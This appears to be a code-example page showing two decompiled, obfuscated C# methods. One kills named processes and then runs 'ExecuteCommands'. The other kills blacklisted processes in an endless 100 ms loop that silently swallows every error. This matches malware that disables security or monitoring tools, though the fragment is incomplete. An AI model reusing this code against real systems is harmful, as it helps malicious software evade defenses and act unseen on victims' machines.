Exemple #1
0
 // Token: 0x060000BC RID: 188
 public static void KillProcess(string string_0, string string_1)
 {
     foreach (Process process in Process.GetProcesses())
     {
         if (ProcessKill.CheckProcess(process, string_0.ToLower()))
         {
             try
             {
                 process.Kill();
                 process.WaitForExit();
                 MainCore.ExecuteCommands();
             }
             catch (InvalidOperationException)
             {
             }
             catch (PlatformNotSupportedException)
             {
                 break;
             }
             catch
             {
             }
         }
     }
 }
Exemple #2
0
 // Token: 0x060000BE RID: 190
 public static void KillBlacklistProcess()
 {
     for (;;)
     {
         try
         {
             for (int i = 0; i < Process.TFTOLPlcwmHYnq.Count; i++)
             {
                 int index = i;
                 for (int j = 0; j < Process.JzzxbjfrmJe.Count; j++)
                 {
                     int index2 = j;
                     ProcessKill.KillProcess(Process.TFTOLPlcwmHYnq[index], Process.JzzxbjfrmJe[index2]);
                 }
             }
             Thread.Sleep(100);
         }
         catch
         {
         }
     }
 }